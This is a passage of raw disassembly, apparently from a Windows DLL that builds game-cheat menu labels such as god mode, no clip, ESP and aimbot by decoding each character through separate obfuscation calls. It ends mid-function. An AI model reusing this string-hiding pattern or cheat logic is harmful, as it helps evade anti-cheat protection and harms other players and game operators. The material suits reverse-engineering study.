mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056970
movzx r13d, al
mov cl, 0x64
call fcn.180056970
movzx r12d, al
mov cl, 0x5f
call fcn.180056970
movzx r15d, al
mov cl, 0x6d
call fcn.180056970
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056970
movzx esi, al
mov cl, 0x64
call fcn.180056970
movzx edi, al
mov cl, 0x65
call fcn.180056970
movzx ebx, al
xor ecx, ecx
call fcn.180056970
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x490], cl
mov byte [rbp + 0x491], r13b
mov byte [rbp + 0x492], r12b
mov byte [rbp + 0x493], r15b
mov byte [rbp + 0x494], r14b
mov byte [rbp + 0x495], sil
mov byte [rbp + 0x496], dil
mov byte [rbp + 0x497], bl
mov byte [rbp + 0x498], al
lea rcx, [rbp + 0x3618]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000000
xor r8d, r8d
mov ebx, 9
mov edx, ebx
lea rcx, [rbp + 0x3618]
call fcn.180014330
xor r12d, r12d
mov edi, r12d
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x490]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056970
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3618]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8930
lea rcx, [rbp + 0x3618]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4850]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3618]
call fcn.180011f20
movss xmm8, dword [0x1801ce8d8]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x11d8], rax
mov cl, 0x47
call fcn.1800ed7a0
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7a0
mov byte [rsp + 0x69], al
mov cl, 0x64
call fcn.1800ed7a0
mov byte [rsp + 0x6a], al
mov cl, 0x4d
call fcn.1800ed7a0
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7a0
mov byte [rsp + 0x6c], al
mov cl, 0x64
call fcn.1800ed7a0
mov byte [rsp + 0x6d], al
mov cl, 0x65
call fcn.1800ed7a0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800ed7a0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11d8], rax
lea rcx, [rbp + 0x3638]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000000
xor r8d, r8d
mov r15d, 8
mov edx, r15d
lea rcx, [rbp + 0x3638]
call fcn.180014330
mov rdi, r12
mov esi, r15d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11d8]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800ed7a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3638]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8a50
lea rcx, [rbp + 0x3638]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3638]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x3ff0]
call fcn.180011e10
mov r14, rax
xor eax, eax
mov qword [rbp + 0x11d0], rax
mov cl, WSAGetLastError
call fcn.1800568f0
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568f0
mov byte [rsp + 0x69], al
mov cl, 0x5f
call fcn.1800568f0
mov byte [rsp + 0x6a], al
mov cl, 0x63
call fcn.1800568f0
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.1800568f0
mov byte [rsp + 0x6c], al
mov cl, 0x69
call fcn.1800568f0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800568f0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800568f0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11d0], rax
lea rcx, [rbp + 0x3658]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x3658]
call fcn.180014330
mov rdi, r12
mov rsi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11d0]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800568f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3658]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8b70
lea rcx, [rbp + 0x3658]
call fcn.1800143e0
mov r8, r14
mov rdx, rax
lea rcx, [0x1805e486c]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3658]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x11c8], rax
mov cl, 0x4e
call fcn.180056950
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056950
mov byte [rsp + 0x69], al
mov cl, 0x20
call fcn.180056950
mov byte [rsp + 0x6a], al
mov cl, 0x43
call fcn.180056950
mov byte [rsp + 0x6b], al
mov cl, 0x6c
call fcn.180056950
mov byte [rsp + 0x6c], al
mov cl, 0x69
call fcn.180056950
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056950
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.180056950
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11c8], rax
lea rcx, [rbp + 0x3678]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000000
xor r8d, r8d
mov rdx, r15
lea rcx, [rbp + 0x3678]
call fcn.180014330
mov rdi, r12
mov rsi, r15
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11c8]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3678]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8c80
lea rcx, [rbp + 0x3678]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3678]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x3ff8]
call fcn.180011e10
mov r15, rax
xor eax, eax
mov dword [rbp - 0x10], eax
mov byte [rbp - 0xc], al
mov cl, 0x68
call fcn.180014710
movzx r14d, al
mov cl, 0x65
call fcn.180014710
movzx esi, al
mov cl, 0x61
call fcn.180014710
movzx edi, al
mov cl, 0x6c
call fcn.180014710
movzx ebx, al
xor ecx, ecx
call fcn.180014710
mov byte [rbp - 0x10], r14b
mov byte [rbp - 0xf], sil
mov byte [rbp - 0xe], dil
mov byte [rbp - 0xd], bl
mov byte [rbp - 0xc], al
lea rcx, [rbp + 0x3698]
call fcn.180011f00
mov dword [rsp + 0x70], 1
xor r8d, r8d
mov r13d, 5
mov edx, r13d
lea rcx, [rbp + 0x3698]
call fcn.180014330
mov rdi, r12
mov esi, r13d
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.180014710
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3698]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8d80
lea rcx, [rbp + 0x3698]
call fcn.1800143e0
mov r8, r15
mov rdx, rax
lea rcx, [0x1805e4860]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3698]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov dword [rbp - 8], eax
mov byte [rbp - 4], al
mov cl, 0x48
call fcn.1800148d0
movzx r14d, al
mov cl, 0x65
call fcn.1800148d0
movzx esi, al
mov cl, 0x61
call fcn.1800148d0
movzx edi, al
mov cl, 0x6c
call fcn.1800148d0
movzx ebx, al
xor ecx, ecx
call fcn.1800148d0
mov byte [rbp - 8], r14b
mov byte [rbp - 7], sil
mov byte [rbp - 6], dil
mov byte [rbp - 5], bl
mov byte [rbp - 4], al
lea rcx, [rbp + 0x36b8]
call fcn.180011f00
mov dword [rsp + 0x70], 2
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp + 0x36b8]
call fcn.180014330
mov rdi, r12
mov rsi, r13
nop
mov rdx, rdi
lea rcx, [rbp - 8]
call fcn.180014a00
movzx ecx, byte [rax]
call fcn.1800148d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x36b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8e60
lea rcx, [rbp + 0x36b8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x36b8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4000]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov dword [rbp + 0x178], eax
mov word [rbp + 0x17c], ax
mov cl, 0x61
call fcn.180056b70
movzx r15d, al
mov cl, WSAStartup
call fcn.180056b70
movzx r14d, al
mov cl, 0x6d
call fcn.180056b70
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056b70
movzx edi, al
mov cl, WSAStartup
call fcn.180056b70
movzx ebx, al
xor ecx, ecx
call fcn.180056b70
mov byte [rbp + 0x178], r15b
mov byte [rbp + 0x179], r14b
mov byte [rbp + 0x17a], sil
mov byte [rbp + 0x17b], dil
mov byte [rbp + 0x17c], bl
mov byte [rbp + 0x17d], al
lea rcx, [rbp + 0x36d8]
call fcn.180011f00
mov dword [rsp + 0x70], 4
xor r8d, r8d
mov r13d, 6
mov edx, r13d
lea rcx, [rbp + 0x36d8]
call fcn.180014330
mov rdi, r12
mov esi, r13d
mov rdx, rdi
lea rcx, [rbp + 0x178]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180056b70
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x36d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e8f80
lea rcx, [rbp + 0x36d8]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4854]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x36d8]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov dword [rbp + 0xc0], eax
mov word [rbp + 0xc4], ax
mov cl, 0x41
call fcn.180056a60
movzx r15d, al
mov cl, WSAStartup
call fcn.180056a60
movzx r14d, al
mov cl, 0x6d
call fcn.180056a60
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a60
movzx edi, al
mov cl, WSAStartup
call fcn.180056a60
movzx ebx, al
xor ecx, ecx
call fcn.180056a60
mov byte [rbp + 0xc0], r15b
mov byte [rbp + 0xc1], r14b
mov byte [rbp + 0xc2], sil
mov byte [rbp + 0xc3], dil
mov byte [rbp + 0xc4], bl
mov byte [rbp + 0xc5], al
lea rcx, [rbp + 0x36f8]
call fcn.180011f00
mov dword [rsp + 0x70], 8
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp + 0x36f8]
call fcn.180014330
nop word [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0xc0]
call fcn.180014a40
movzx ecx, byte [rax]
call fcn.180056a60
movzx ebx, al
mov rdx, r12
lea rcx, [rbp + 0x36f8]
call fcn.180014c80
mov byte [rax], bl
inc r12
sub r13, 1
jne 0x1800e9090
lea rcx, [rbp + 0x36f8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x36f8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4008]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x260], rax
mov word [rbp + 0x268], ax
mov byte [rbp + 0x26a], al
mov cl, 0x65
call fcn.1800ed790
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.1800ed790
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800ed790
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800ed790
movzx r13d, al
mov cl, 0x6c
call fcn.1800ed790
movzx r12d, al
mov cl, 0x65
call fcn.1800ed790
movzx r15d, al
mov cl, 0x5f
call fcn.1800ed790
movzx r14d, al
mov cl, 0x65
call fcn.1800ed790
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed790
movzx edi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed790
movzx ebx, al
xor ecx, ecx
call fcn.1800ed790
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x260], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x261], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x262], cl
mov byte [rbp + 0x263], r13b
mov byte [rbp + 0x264], r12b
mov byte [rbp + 0x265], r15b
mov byte [rbp + 0x266], r14b
mov byte [rbp + 0x267], sil
mov byte [rbp + 0x268], dil
mov byte [rbp + 0x269], bl
mov byte [rbp + 0x26a], al
lea rcx, [rbp + 0x3718]
call fcn.180011f00
mov dword [rsp + 0x70], reloc.WS2_32.dll_recv
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x3718]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x260]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800ed790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3718]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9220
lea rcx, [rbp + 0x3718]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e4858]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3718]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x1a0], rax
mov word [rbp + 0x1a8], ax
mov byte [rbp + 0x1aa], al
mov cl, 0x45
call fcn.180056b00
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.180056b00
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180056b00
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.180056b00
movzx r13d, al
mov cl, 0x6c
call fcn.180056b00
movzx r12d, al
mov cl, 0x65
call fcn.180056b00
movzx r15d, al
mov cl, 0x20
call fcn.180056b00
movzx r14d, al
mov cl, 0x45
call fcn.180056b00
movzx esi, al
mov cl, 0x53
call fcn.180056b00
movzx edi, al
mov cl, 0x50
call fcn.180056b00
movzx ebx, al
xor ecx, ecx
call fcn.180056b00
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x1a0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1a1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1a2], cl
mov byte [rbp + 0x1a3], r13b
mov byte [rbp + 0x1a4], r12b
mov byte [rbp + 0x1a5], r15b
mov byte [rbp + 0x1a6], r14b
mov byte [rbp + 0x1a7], sil
mov byte [rbp + 0x1a8], dil
mov byte [rbp + 0x1a9], bl
mov byte [rbp + 0x1aa], al
lea rcx, [rbp + 0x3738]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x3738]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x1a0]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056b00
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3738]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e93a0
lea rcx, [rbp + 0x3738]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3738]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4010]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x850], rax
mov dword [rbp + 0x858], eax
mov word [rbp + 0x85c], ax
mov cl, 0x65
call fcn.1800146d0
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.1800146d0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800146d0
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.1800146d0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800146d0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.1800146d0
mov byte [rsp + 0x54], al
mov cl, 0x5f
call fcn.1800146d0
movzx r13d, al
mov cl, 0x61
call fcn.1800146d0
movzx r12d, al
mov cl, 0x69
call fcn.1800146d0
movzx r15d, al
mov cl, 0x6d
call fcn.1800146d0
movzx r14d, al
mov cl, 0x62
call fcn.1800146d0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146d0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146d0
movzx ebx, al
xor ecx, ecx
call fcn.1800146d0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x850], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x851], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x852], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x853], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x854], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x855], cl
mov byte [rbp + 0x856], r13b
mov byte [rbp + 0x857], r12b
mov byte [rbp + 0x858], r15b
mov byte [rbp + 0x859], r14b
mov byte [rbp + 0x85a], sil
mov byte [rbp + 0x85b], dil
mov byte [rbp + 0x85c], bl
mov byte [rbp + 0x85d], al
lea rcx, [rbp + 0x3758]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3758]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0x850]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3758]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9570
lea rcx, [rbp + 0x3758]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1805e484c]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3758]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x870], rax
mov dword [rbp + 0x878], eax
mov word [rbp + 0x87c], ax
mov cl, 0x45
call fcn.180056790
mov byte [rsp + 0x5c], al
mov cl, WSAGetLastError
call fcn.180056790
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.180056790
mov byte [rsp + 0x51], al
mov cl, 0x62
call fcn.180056790
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180056790
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056790
mov byte [rsp + 0x54], al
mov cl, 0x20
call fcn.180056790
movzx r13d, al
mov cl, 0x41
call fcn.180056790
movzx r12d, al
mov cl, 0x69
call fcn.180056790
movzx r15d, al
mov cl, 0x6d
call fcn.180056790
movzx r14d, al
mov cl, 0x62
call fcn.180056790
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056790
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056790
movzx ebx, al
xor ecx, ecx
call fcn.180056790
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x870], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x871], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x872], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x873], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x874], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x875], cl
mov byte [rbp + 0x876], r13b
mov byte [rbp + 0x877], r12b
mov byte [rbp + 0x878], r15b
mov byte [rbp + 0x879], r14b
mov byte [rbp + 0x87a], sil
mov byte [rbp + 0x87b], dil
mov byte [rbp + 0x87c], bl
mov byte [rbp + 0x87d], al
lea rcx, [rbp + 0x3778]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3778]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x870]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3778]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9730
lea rcx, [rbp + 0x3778]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x3778]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4018]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xor eax, eax
mov qword [rbp + 0x5f0], rax
mov dword [rbp + 0x5f8], eax
mov byte [rbp + 0x5fc], al
mov cl, 0x75
call fcn.1800567b0
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567b0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.1800567b0
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.1800567b0
mov byte [rsp + 0x52], al
mov cl, 0x67
call fcn.1800567b0
mov byte [rsp + 0x53], al
mov cl, 0x5f
call fcn.1800567b0
movzx r13d, al
mov cl, 0x61
call fcn.1800567b0
movzx r12d, al
mov cl, 0x69
call fcn.1800567b0
movzx r15d, al
mov cl, 0x6d
call fcn.1800567b0
movzx r14d, al
mov cl, 0x62
call fcn.1800567b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567b0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567b0
movzx ebx, al
xor ecx, ecx
call fcn.1800567b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x5f0], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x5f1], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x5f2], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x5f3], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x5f4], cl
mov byte [rbp + 0x5f5], r13b
mov byte [rbp + 0x5f6], r12b
mov byte [rbp + 0x5f7], r15b
mov byte [rbp + 0x5f8], r14b
mov byte [rbp + 0x5f9], sil
mov byte [rbp + 0x5fa], dil
mov byte [rbp + 0x5fb], bl
mov byte [rbp + 0x5fc], al
lea rcx, [rbp + 0x3798]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x3798]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x5f0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800567b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3798]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e98f0
lea rcx, [rbp + 0x3798]
call fcn.1800143e0
mov r8, qword [rbp - 0x70]
mov rdx, rax
lea rcx, [0x1801f67b8]
call fcn.1800b3390
nop
lea rcx, [rbp + 0x3798]
call fcn.180011f20
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.180076ad0
xor eax, eax
mov qword [rbp + 0x600], rax
mov dword [rbp + 0x608], eax
mov byte [rbp + 0x60c], al
mov cl, 0x55
call fcn.1800567b0
mov byte [rsp + 0x5c], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567b0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.1800567b0
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.1800567b0
mov byte [rsp + 0x52], al
mov cl, 0x67
call fcn.1800567b0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800567b0
movzx r13d, al
mov cl, 0x41
call fcn.1800567b0
movzx r12d, al
mov cl, 0x69
call fcn.1800567b0
movzx r15d, al
mov cl, 0x6d
call fcn.1800567b0
movzx r14d, al
mov cl, 0x62
call fcn.1800567b0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567b0
movzx edi, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567b0
movzx ebx, al
xor ecx, ecx
call fcn.1800567b0
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x600], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x601], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x602], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x603], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x604], cl
mov byte [rbp + 0x605], r13b
mov byte [rbp + 0x606], r12b
mov byte [rbp + 0x607], r15b
mov byte [rbp + 0x608], r14b
mov byte [rbp + 0x609], sil
mov byte [rbp + 0x60a], dil
mov byte [rbp + 0x60b], bl
mov byte [rbp + 0x60c], al
lea rcx, [rbp + 0x37b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x37b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x600]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800567b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x37b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e9aa0
lea rcx, [rbp + 0x37b8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x37b8]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm12
call fcn.180076bd0
movaps xmm2, xmm11
movaps xmm1, xmm7
lea rcx, [rbp + 0x4020]
call fcn.180011e10
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1040], xmm0
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056950
mov byte [rsp + 0x5c], al
mov cl, WSAStartup
call fcn.180056950
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180056950
mov byte [rsp + 0x51], al
mov cl, 0x67
call fcn.180056950
mov byte [rsp + 0x52], al
mov cl, 0x67
call fcn.180056950
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056950
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.180056950
mov byte [rsp + 0x55], al
mov cl, 0x5f
call fcn.180056950
mov byte [rsp + 0x56], al
mov cl, 0x62
call fcn.180056950
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056950
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056950
movzx r15d, al
mov cl, 0x5f
call fcn.180056950
movzx r14d, al
mov cl, 0x61
call fcn.180056950
movzx esi, al
mov cl, 0x69
call fcn.180056950
movzx edi, al
mov cl, 0x6d
call fcn.180056950
movzx ebx, al
xor ecx, ecx
call fcn.180056950
movzx ecx, byte [rsp + 0x5c]
mov byte [rbp + 0x1040], cl
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x1041], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x1042], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x1043], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x1044], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x1045], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x1046], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0x1047], cl
mov byte [rbp + 0x1048], r13b
mov byte [rbp + 0x1049], r12b
mov byte [rbp + 0x104a], r15b
mov byte [rbp + 0x104b], r14b
mov byte [rbp + 0x104c], sil
mov byte [rbp + 0x104d], dil
